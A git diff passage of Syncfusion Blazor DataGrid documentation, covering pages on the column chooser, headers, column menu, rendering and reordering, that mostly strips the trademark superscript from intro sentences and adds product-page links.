 To enable this feature, set the [ShowColumnChooser](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Grids.SfGrid-1.html#Syncfusion_Blazor_Grids_SfGrid_1_ShowColumnChooser)  property of the [Grid](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Grids.SfGrid-1.html) component to **true**.
 
@@ -84,7 +84,7 @@ To enable this feature, set the [ShowColumnChooser](https://help.syncfusion.com/
 
 ## Hide column in column chooser dialog
 
-The Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor DataGrid allows hiding specific columns from the column chooser dialog. This is useful when working with a large number of columns or when limiting the columns available for selection. 
+The Blazor DataGrid allows hiding specific columns from the column chooser dialog. This is useful when working with a large number of columns or when limiting the columns available for selection. 
 
 To enable this, set the [ShowInColumnChooser](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Grids.GridColumn.html#Syncfusion_Blazor_Grids_GridColumn_ShowInColumnChooser) property of the [GridColumn](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Grids.GridColumn.html) to **false**.
 
@@ -162,7 +162,7 @@ public class OrderData
 
 ## Open column chooser via programmatically
 
-The Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor DataGrid allows opening the column chooser dialog programmatically using an external button. Use the [OpenColumnChooserAsync](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Grids.SfGrid-1.html#Syncfusion_Blazor_Grids_SfGrid_1_OpenColumnChooserAsync_System_Nullable_System_Double__System_Nullable_System_Double__) method to display the dialog at a specific position on the page.
+The Blazor DataGrid allows opening the column chooser dialog programmatically using an external button. Use the [OpenColumnChooserAsync](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Grids.SfGrid-1.html#Syncfusion_Blazor_Grids_SfGrid_1_OpenColumnChooserAsync_System_Nullable_System_Double__System_Nullable_System_Double__) method to display the dialog at a specific position on the page.
 
 | Parameter | Type     | Description                                                                 |
 |-----------|----------|-----------------------------------------------------------------------------|
@@ -244,7 +244,7 @@ public class OrderData
 
 ## Customize column chooser dialog size
 
-The Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor DataGrid displays the column chooser dialog with a default size. To adjust its dimensions, apply custom CSS styles to override the default height and width.
+The Blazor DataGrid displays the column chooser dialog with a default size. To adjust its dimensions, apply custom CSS styles to override the default height and width.
 
 ```csharp
 <style> 
@@ -340,7 +340,7 @@ public class OrderData
 
 ## Change default search operator of the column chooser
 
-The Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor DataGrid provides a search box in the column chooser dialog to filter column names. By default, the search uses the **StartsWith** operator. 
+The Blazor DataGrid provides a search box in the column chooser dialog to filter column names. By default, the search uses the **StartsWith** operator. 
 
 To modify this behavior, use the [Operator](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Operator.html) property of the [GridColumnChooserSettings](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Grids.GridColumnChooserSettings.html).
 
@@ -414,7 +414,7 @@ public class OrderData
 
 ## Column chooser template
 
-The Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor DataGrid allows customizing the column chooser dialog using the [Template](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Grids.GridColumnChooserSettings.html#Syncfusion_Blazor_Grids_GridColumnChooserSettings_Template) and [FooterTemplate](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Grids.GridColumnChooserSettings.html#Syncfusion_Blazor_Grids_GridColumnChooserSettings_FooterTemplate) properties of the [GridColumnChooserSettings](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Grids.GridColumnChooserSettings.html). These templates enable injecting custom content into the body and footer of the column chooser.
+The Blazor DataGrid allows customizing the column chooser dialog using the [Template](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Grids.GridColumnChooserSettings.html#Syncfusion_Blazor_Grids_GridColumnChooserSettings_Template) and [FooterTemplate](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Grids.GridColumnChooserSettings.html#Syncfusion_Blazor_Grids_GridColumnChooserSettings_FooterTemplate) properties of the [GridColumnChooserSettings](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Grids.GridColumnChooserSettings.html). These templates enable injecting custom content into the body and footer of the column chooser.
 
 The parameters passed to the templates can be accessed using the implicit **context** parameter.
 
@@ -712,7 +712,7 @@ The [FooterTemplate](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Gri
 
 ## Group column chooser items in Blazor DataGrid
 
-The Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor DataGrid supports grouping items in the column chooser dialog using the [GridColumnChooserItemGroup](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Grids.GridColumnChooserItemGroup.html) component. This improves usability by organizing columns into logical sections. 
+The Blazor DataGrid supports grouping items in the column chooser dialog using the [GridColumnChooserItemGroup](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Grids.GridColumnChooserItemGroup.html) component. This improves usability by organizing columns into logical sections. 
 
 To configure this:
 
diff --git a/blazor/datagrid/column-headers.md b/blazor/datagrid/column-headers.md
index 2f019e686c..27f6403f4f 100644
--- a/blazor/datagrid/column-headers.md
+++ b/blazor/datagrid/column-headers.md
@@ -9,11 +9,11 @@ documentation: ug
 
 # Headers in Blazor DataGrid
 
-The Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor DataGrid provides options to customize and manage headers for better data organization and presentation. 
+The Syncfusion<sup style="font-size:70%">&reg;</sup> [Blazor DataGrid](https://www.syncfusion.com/blazor-components/blazor-datagrid) provides options to customize and manage headers for better data organization and presentation. 
 
 ## Header text
 
-The Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor DataGrid displays the header text of a column from its [Field](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Grids.GridColumn.html#Syncfusion_Blazor_Grids_GridColumn_Field) value by default. 
+The Blazor DataGrid Blazor DataGrid displays the header text of a column from its [Field](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Grids.GridColumn.html#Syncfusion_Blazor_Grids_GridColumn_Field) value by default. 
 To override this and provide a custom header title, define the [HeaderText](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Grids.GridColumn.html#Syncfusion_Blazor_Grids_GridColumn_HeaderText) property in the [GridColumn](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Grids.GridColumn.html).
 
 {% tabs %}
@@ -91,7 +91,7 @@ To override this and provide a custom header title, define the [HeaderText](http
 
 ## Header template
 
-The Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor DataGrid allows customizing the header element of a column using the [HeaderTemplate](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Grids.GridColumn.html#Syncfusion_Blazor_Grids_GridColumn_HeaderTemplate) property of the [GridColumn](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Grids.GridColumn.html). This property enables rendering custom HTML elements or Blazor components in the header cell, allowing additional functionality such as icons, dropdowns, or switches.
+The Blazor DataGrid allows customizing the header element of a column using the [HeaderTemplate](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Grids.GridColumn.html#Syncfusion_Blazor_Grids_GridColumn_HeaderTemplate) property of the [GridColumn](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Grids.GridColumn.html). This property enables rendering custom HTML elements or Blazor components in the header cell, allowing additional functionality such as icons, dropdowns, or switches.
 
 {% youtube
 "youtube:https://www.youtube.com/watch?v=9YF9HnFY5Ew"%}
@@ -229,7 +229,7 @@ public class OrderDetails
 
 ## Stacked header 
 
-The Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor DataGrid allows grouping multiple levels of column headers by stacking columns. This feature organizes columns in a structured way and improves readability. 
+The Blazor DataGrid allows grouping multiple levels of column headers by stacking columns. This feature organizes columns in a structured way and improves readability. 
 
 To achieve this, nest the [GridColumn](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Grids.GridColumn.html#Syncfusion_Blazor_Grids_GridColumn) directive within another `GridColumn` directive. Use the [HeaderText](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Grids.GridColumn.html#Syncfusion_Blazor_Grids_GridColumn_HeaderText) property for each sub-header column to set its text.
 
@@ -341,7 +341,7 @@ public class OrderDetails
 
 ## Header text alignment
 
-The Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor DataGrid allows horizontally aligning the text in column headers using the [HeaderTextAlign](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Grids.GridColumn.html#Syncfusion_Blazor_Grids_GridColumn_HeaderTextAlign)  property of the [GridColumn](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Grids.GridColumn.html). By default, the text is aligned to the **left**. 
+The Blazor DataGrid allows horizontally aligning the text in column headers using the [HeaderTextAlign](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Grids.GridColumn.html#Syncfusion_Blazor_Grids_GridColumn_HeaderTextAlign)  property of the [GridColumn](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Grids.GridColumn.html). By default, the text is aligned to the **left**. 
 
 The alignment can be changed by setting `HeaderTextAlign` to one of the following options:
 
@@ -424,7 +424,7 @@ The alignment can be changed by setting `HeaderTextAlign` to one of the followin
 
 ## Autowrap the header text
 
-The Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor DataGrid supports wrapping header text when it exceeds the column width. Enable this feature by setting the [AllowTextWrap](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Grids.SfGrid-1.html#Syncfusion_Blazor_Grids_SfGrid_1_AllowTextWrap) property to **true**. Configure the wrap mode using the [TextWrapSettings.WrapMode](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Grids.SfGrid-1.html#Syncfusion_Blazor_Grids_SfGrid_1_TextWrapSettings) property.
+The Blazor DataGrid supports wrapping header text when it exceeds the column width. Enable this feature by setting the [AllowTextWrap](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Grids.SfGrid-1.html#Syncfusion_Blazor_Grids_SfGrid_1_AllowTextWrap) property to **true**. Configure the wrap mode using the [TextWrapSettings.WrapMode](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Grids.SfGrid-1.html#Syncfusion_Blazor_Grids_SfGrid_1_TextWrapSettings) property.
 
 Specify appropriate column widths using the [Width](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Grids.GridColumn.html#Syncfusion_Blazor_Grids_GridColumn_Width) property to ensure proper wrapping.
 
@@ -544,7 +544,7 @@ Override the default height of the **.e-grid .e-headercell** class to set a cust
 
 ## Change header text dynamically
 
-The Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor DataGrid allows modifying the header text of a column in real time. This can be achieved in two ways:
+The Blazor DataGrid allows modifying the header text of a column in real time. This can be achieved in two ways:
 
 * **Using event**: The [HeaderCellInfo](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Grids.GridEvents-1.html#Syncfusion_Blazor_Grids_GridEvents_1_HeaderCellInfo) event triggers for each header cell during rendering. It provides access to the header cell element, allowing customization of the header text dynamically.
 * **Using methods**: The Grid includes methods such as [GetColumnByFieldAsync](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Grids.SfGrid-1.html#Syncfusion_Blazor_Grids_SfGrid_1_GetColumnByFieldAsync_System_String_) and [GetColumnByUidAsync](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Grids.SfGrid-1.html#Syncfusion_Blazor_Grids_SfGrid_1_GetColumnByUidAsync_System_String_) to retrieve column objects and update their [HeaderText](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Grids.GridColumn.html#Syncfusion_Blazor_Grids_GridColumn_HeaderText) property. After updating, call [RefreshHeaderAsync](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Grids.SfGrid-1.html#Syncfusion_Blazor_Grids_SfGrid_1_RefreshHeaderAsync) to apply changes.
@@ -569,7 +569,7 @@ After updating the header text, call the `RefreshHeaderAsync` method to apply ch
 
 ### Using method
 
-The Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor DataGrid provides methods to change the header text dynamically. These methods allow retrieving column objects and updating their [HeaderText](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Grids.GridColumn.html#Syncfusion_Blazor_Grids_GridColumn_HeaderText) property. After updating, call the `RefreshHeaderAsync` method to apply changes.
+The Blazor DataGrid provides methods to change the header text dynamically. These methods allow retrieving column objects and updating their [HeaderText](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Grids.GridColumn.html#Syncfusion_Blazor_Grids_GridColumn_HeaderText) property. After updating, call the `RefreshHeaderAsync` method to apply changes.
 
 **Get Column by Field**
 
@@ -805,7 +805,7 @@ public class OrderDetails
 
 ## Change the orientation of header text
 
-By default, the text in the column headers of the Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor DataGrid is displayed **horizontally**. To change the orientation to **vertical**, **diagonal**, or a **custom angle**, apply a custom CSS class to the header cell using the [CustomAttributes](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Grids.GridColumn.html#Syncfusion_Blazor_Grids_GridColumn_CustomAttributes) property of [GridColumn](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Grids.GridColumn.html).
+By default, the text in the column headers of the Blazor DataGrid is displayed **horizontally**. To change the orientation to **vertical**, **diagonal**, or a **custom angle**, apply a custom CSS class to the header cell using the [CustomAttributes](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Grids.GridColumn.html#Syncfusion_Blazor_Grids_GridColumn_CustomAttributes) property of [GridColumn](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Grids.GridColumn.html).
 
 **Steps to change header text orientation:**
 
@@ -1051,13 +1051,13 @@ public class OrderDetails
 {% endhighlight %}
 {% endtabs %}
 
-> The Syncfusion Blazor DataGrid component includes a built-in feature to customize tooltip content for both header cells and content cells. For more information, refer to the documentation [here](https://blazor.syncfusion.com/documentation/datagrid/cell#show-tooltip).
+> The Blazor DataGrid component includes a built-in feature to customize tooltip content for both header cells and content cells. For more information, refer to the documentation [here](https://blazor.syncfusion.com/documentation/datagrid/cell#show-tooltip).
 
 {% previewsample "https://blazorplayground.syncfusion.com/embed/LtrJirtAJDjvaNlx?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" %}
 
 ## Customize header text styles 
 
-Customizing the Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor DataGrid header styles allows modifying the appearance of column headers to match design requirements. Styles such as **font**, **background color**, and **text color** can be applied using the following approaches:
+Customizing the Blazor DataGrid header styles allows modifying the appearance of column headers to match design requirements. Styles such as **font**, **background color**, and **text color** can be applied using the following approaches:
 
 * **Using CSS** - Apply styles globally or to specific columns by defining CSS rules.
 
@@ -1335,7 +1335,7 @@ public class OrderDetails
 
 ## How to refresh header 
 
-The refresh header feature updates the header section of the Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor DataGrid when changes are made to column properties such as header text, width, or alignment. The [RefreshHeaderAsync](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Grids.SfGrid-1.html#Syncfusion_Blazor_Grids_SfGrid_1_RefreshHeaderAsync) method of the Grid is used to apply these changes immediately.
+The refresh header feature updates the header section of the Blazor DataGrid when changes are made to column properties such as header text, width, or alignment. The [RefreshHeaderAsync](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Grids.SfGrid-1.html#Syncfusion_Blazor_Grids_SfGrid_1_RefreshHeaderAsync) method of the Grid is used to apply these changes immediately.
 
 {% tabs %}
 {% highlight razor tabtitle="Index.razor" %}
diff --git a/blazor/datagrid/column-menu.md b/blazor/datagrid/column-menu.md
index 67f2bc464e..ccfacfbec8 100644
--- a/blazor/datagrid/column-menu.md
+++ b/blazor/datagrid/column-menu.md
@@ -9,7 +9,7 @@ documentation: ug
 
 # Column Menu in Blazor DataGrid
 
-The Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor DataGrid supports a column menu that provides quick access to features such as sorting, grouping, filtering, column chooser, and autofit. Clicking the column header’s menu icon displays a contextual menu with these options.
+The Syncfusion<sup style="font-size:70%">&reg;</sup> [Blazor DataGrid](https://www.syncfusion.com/blazor-components/blazor-datagrid) supports a column menu that provides quick access to features such as sorting, grouping, filtering, column chooser, and autofit. Clicking the column header’s menu icon displays a contextual menu with these options.
 
 To enable the column menu, set the [ShowColumnMenu](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Grids.SfGrid-1.html#Syncfusion_Blazor_Grids_SfGrid_1_ShowColumnMenu) property to **true** in the [Grid](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Grids.SfGrid-1.html) configuration.
 
@@ -96,7 +96,7 @@ public class OrderData
 
 ## Disable column menu for specific column
 
-The Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor DataGrid provides the ability to prevent the column menu from appearing for specific columns. This is useful when certain columns should not be customizable through the column menu.
+The Blazor DataGrid provides the ability to prevent the column menu from appearing for specific columns. This is useful when certain columns should not be customizable through the column menu.
 
 To disable the column menu for a specific column, set the [ShowColumnMenu](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Grids.GridColumn.html#Syncfusion_Blazor_Grids_GridColumn_ShowColumnMenu) property of the [GridColumn](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Grids.GridColumn.html) to **false**.
 
@@ -169,7 +169,7 @@ public class OrderData
 
 ## Add custom column menu item
 
-The Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor DataGrid supports adding custom items to the column menu using the [ColumnMenuItems](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Grids.SfGrid-1.html#Syncfusion_Blazor_Grids_SfGrid_1_ColumnMenuItems) property. This property accepts a collection of [ColumnMenuItemModel](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Grids.ColumnMenuItemModel.html) objects.
+The Blazor DataGrid supports adding custom items to the column menu using the [ColumnMenuItems](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Grids.SfGrid-1.html#Syncfusion_Blazor_Grids_SfGrid_1_ColumnMenuItems) property. This property accepts a collection of [ColumnMenuItemModel](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Grids.ColumnMenuItemModel.html) objects.
 
 Custom actions for these items can be defined in the [ColumnMenuItemClicked](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Grids.GridEvents-1.html#Syncfusion_Blazor_Grids_GridEvents_1_ColumnMenuItemClicked) event.
 
@@ -266,7 +266,7 @@ public class OrderData
 
 ## Customize menu items for specific columns
 
-The Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor DataGrid allows customizing the visibility of column menu items for specific columns. This is useful when certain actions, such as filtering or grouping, should not be available for specific columns.
+The Blazor DataGrid allows customizing the visibility of column menu items for specific columns. This is useful when certain actions, such as filtering or grouping, should not be available for specific columns.
 
 To hide a menu item for a specific column, set the [MenuItem.Hidden](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Navigations.MenuItem.html#Syncfusion_Blazor_Navigations_MenuItem_Hidden) property to **true** in the [OnColumnMenuOpen](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Grids.GridEvents-1.html#Syncfusion_Blazor_Grids_GridEvents_1_OnColumnMenuOpen) event.
 
@@ -359,7 +359,7 @@ public class OrderData
 
 ## Render nested column menu
 
-The Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor DataGrid supports rendering a nested column menu that provides extended options within the column header menu. This feature allows organizing related actions under submenus for better usability.
+The Blazor DataGrid supports rendering a nested column menu that provides extended options within the column header menu. This feature allows organizing related actions under submenus for better usability.
 
 To enable a nested column menu, define the [ColumnMenuItems](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Grids.SfGrid-1.html#Syncfusion_Blazor_Grids_SfGrid_1_ColumnMenuItems) property. This property accepts a collection of [ColumnMenuItemModel](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Grids.ColumnMenuItemModel.html) objects, where each item can include a submenu by specifying its [Items](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Grids.ColumnMenuItemModel.html#Syncfusion_Blazor_Grids_ColumnMenuItemModel_Items) property.
 
@@ -457,7 +457,7 @@ public class OrderData
 
 ## Customize the icon of column menu
 
-The Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor DataGrid allows customizing the column menu icon by overriding the default CSS class **.e-icons.e-columnmenu**. This is achieved by applying a custom CSS rule with the **content** property to display a different icon or Unicode character.
+The Blazor DataGrid allows customizing the column menu icon by overriding the default CSS class **.e-icons.e-columnmenu**. This is achieved by applying a custom CSS rule with the **content** property to display a different icon or Unicode character.
 
 **Steps to customize the icon:**
 
@@ -544,7 +544,7 @@ public class OrderData
 
 ## Column menu events
 
-The Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor DataGrid provides events that are triggered during column menu interactions. These events allow execution of custom logic before the menu opens and after an item is clicked, enabling customization and UI updates.
+The Blazor DataGrid provides events that are triggered during column menu interactions. These events allow execution of custom logic before the menu opens and after an item is clicked, enabling customization and UI updates.
 
 1. [OnColumnMenuOpen](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Grids.GridEvents-1.html#Syncfusion_Blazor_Grids_GridEvents_1_OnColumnMenuOpen): Triggered before the column menu opens.
 2. [ColumnMenuItemClicked](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Grids.GridEvents-1.html#Syncfusion_Blazor_Grids_GridEvents_1_ColumnMenuItemClicked): Triggered when a column menu item is clicked.
diff --git a/blazor/datagrid/column-rendering.md b/blazor/datagrid/column-rendering.md
index 5ea8f7aba5..b3ad914ea2 100644
--- a/blazor/datagrid/column-rendering.md
+++ b/blazor/datagrid/column-rendering.md
@@ -9,7 +9,7 @@ documentation: ug
 
 # Column Rendering in Blazor DataGrid
 
-The Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor DataGrid provides flexible options to control how columns are rendered. Columns can be manually defined, automatically generated, or customized dynamically to ensure data is displayed as required.
+The Syncfusion<sup style="font-size:70%">&reg;</sup> [Blazor DataGrid](https://www.syncfusion.com/blazor-components/blazor-datagrid) provides flexible options to control how columns are rendered. Columns can be manually defined, automatically generated, or customized dynamically to ensure data is displayed as required.
 
 Column definitions act as the [DataSource](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Grids.SfGrid-1.html#Syncfusion_Blazor_Grids_SfGrid_1_DataSource) schema for the Grid. Operations such as sorting, filtering, and grouping are performed based on these definitions. The [Field](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Grids.GridColumn.html#Syncfusion_Blazor_Grids_GridColumn_Field) property is essential for mapping `DataSource` values to Grid columns.
 
@@ -19,7 +19,7 @@ Column definitions act as the [DataSource](https://help.syncfusion.com/cr/blazor
 
 ## Define columns manually 
 
-To define columns manually in Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor DataGrid, use [GridColumn](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Grids.GridColumn.html) to specify each column and configure properties such as [Field](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Grids.GridColumn.html#Syncfusion_Blazor_Grids_GridColumn_Field), [HeaderText](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Grids.GridColumn.html#Syncfusion_Blazor_Grids_GridColumn_HeaderText), [Type](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Grids.GridColumn.html#Syncfusion_Blazor_Grids_GridColumn_Type), and [Width](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Grids.GridColumn.html#Syncfusion_Blazor_Grids_GridColumn_Width). This approach provides full control over column behavior and appearance.
+To define columns manually in Blazor DataGrid, use [GridColumn](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Grids.GridColumn.html) to specify each column and configure properties such as [Field](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Grids.GridColumn.html#Syncfusion_Blazor_Grids_GridColumn_Field), [HeaderText](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Grids.GridColumn.html#Syncfusion_Blazor_Grids_GridColumn_HeaderText), [Type](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Grids.GridColumn.html#Syncfusion_Blazor_Grids_GridColumn_Type), and [Width](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Grids.GridColumn.html#Syncfusion_Blazor_Grids_GridColumn_Width). This approach provides full control over column behavior and appearance.
 
 {% tabs %}
 {% highlight razor tabtitle="Index.razor" %}
@@ -92,7 +92,7 @@ To define columns manually in Syncfusion<sup style="font-size:70%">&reg;</sup> B
 
 ## Auto generated columns
 
-The Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor DataGrid automatically generates columns when the `Columns` collection is not defined during Grid initialization. All properties in the [DataSource](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Grids.SfGrid-1.html#Syncfusion_Blazor_Grids_SfGrid_1_DataSource) are rendered as Grid columns.
+The Blazor DataGrid automatically generates columns when the `Columns` collection is not defined during Grid initialization. All properties in the [DataSource](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Grids.SfGrid-1.html#Syncfusion_Blazor_Grids_SfGrid_1_DataSource) are rendered as Grid columns.
 
 {% tabs %}
 {% highlight razor tabtitle="Index.razor" %}
@@ -326,7 +326,7 @@ Column options such as [Type](https://help.syncfusion.com/cr/blazor/Syncfusion.B
 
 ## Dynamic column generation
 
-The Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor DataGrid supports generating columns dynamically at runtime based on the data structure. This approach is useful when the column set changes depending on the data source or when working with flexible models. Columns can be created using reflection or dynamic objects in scenarios where the schema is not fixed.
+The Blazor DataGrid supports generating columns dynamically at runtime based on the data structure. This approach is useful when the column set changes depending on the data source or when working with flexible models. Columns can be created using reflection or dynamic objects in scenarios where the schema is not fixed.
 
 {% tabs %}
 {% highlight razor tabtitle="Index.razor" %}
@@ -456,7 +456,7 @@ Columns can be generated dynamically at runtime by binding data as a list of [Ex
 
 ## Complex data generation
 
-The Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor DataGrid supports complex data binding using the **dot (.)** operator in the [Field](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Grids.GridColumn.html#Syncfusion_Blazor_Grids_GridColumn_Field) property. This feature is useful for displaying nested or hierarchical data structures.
+The Blazor DataGrid supports complex data binding using the **dot (.)** operator in the [Field](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Grids.GridColumn.html#Syncfusion_Blazor_Grids_GridColumn_Field) property. This feature is useful for displaying nested or hierarchical data structures.
 
 ### Using local data
 
@@ -688,7 +688,7 @@ Complex data binding can be achieved by using the **dot (.)** operator in the [F
 
 ### How to set complex column as foreign key column
 
-The Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor DataGrid supports using complex columns as foreign key columns. This enables related data from a [ForeignDataSource](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Grids.GridForeignColumn-1.html#Syncfusion_Blazor_Grids_GridForeignColumn_1_ForeignDataSource) to be displayed based on the value of a complex column.
+The Blazor DataGrid supports using complex columns as foreign key columns. This enables related data from a [ForeignDataSource](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Grids.GridForeignColumn-1.html#Syncfusion_Blazor_Grids_GridForeignColumn_1_ForeignDataSource) to be displayed based on the value of a complex column.
 
 In this configuration, the **Employee.EmployeeID** column is set as a foreign key column, and the **FirstName** field from the foreign data source is displayed.
 
diff --git a/blazor/datagrid/column-reorder.md b/blazor/datagrid/column-reorder.md
index bc0494de96..7402f15b8d 100644
--- a/blazor/datagrid/column-reorder.md
+++ b/blazor/datagrid/column-reorder.md
@@ -9,7 +9,7 @@ documentation: ug
 
 # Column Reorder in Blazor DataGrid
 
-The Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor DataGrid allows columns to be reordered by dragging and dropping a column header from one position to another within the Grid.
+The Syncfusion<sup style="font-size:70%">&reg;</sup> [Blazor DataGrid](https://www.syncfusion.com/blazor-components/blazor-datagrid) allows columns to be reordered by dragging and dropping a column header from one position to another within the Grid.
 
 To enable column reordering, set the [AllowReordering](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Grids.SfGrid-1.html#Syncfusion_Blazor_Grids_SfGrid_1_AllowReordering) property of the [Grid](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Grids.SfGrid-1.html) component to **true**.
 
@@ -83,7 +83,7 @@ public class OrderDetails
 
 ## Prevent reordering for particular column
 
-The Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor DataGrid allows all columns to be reordered by dragging and dropping their headers. However, certain columns are intended to remain fixed in position.
+The Blazor DataGrid allows all columns to be reordered by dragging and dropping their headers. However, certain columns are intended to remain fixed in position.
 
 To disable reordering for a specific column, set the [AllowReordering](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Grids.GridColumn.html#Syncfusion_Blazor_Grids_GridColumn_AllowReordering) property of that [GridColumn](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Grids.GridColumn.html) to **false**.
 
@@ -154,7 +154,7 @@ public class OrderDetails
 
 ## Reorder columns via programmatically
 
-The Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor DataGrid allows columns to be reordered programmatically using built-in methods. Columns can be moved based on index or field name, enabling dynamic layout control through external UI elements such as buttons.
+The Blazor DataGrid allows columns to be reordered programmatically using built-in methods. Columns can be moved based on index or field name, enabling dynamic layout control through external UI elements such as buttons.
 
 > To reorder columns externally, set the  [AllowReordering](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Grids.GridColumn.html#Syncfusion_Blazor_Grids_GridColumn_AllowReordering) property of the [Grid](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Grids.SfGrid-1.html) component to **true**.
 
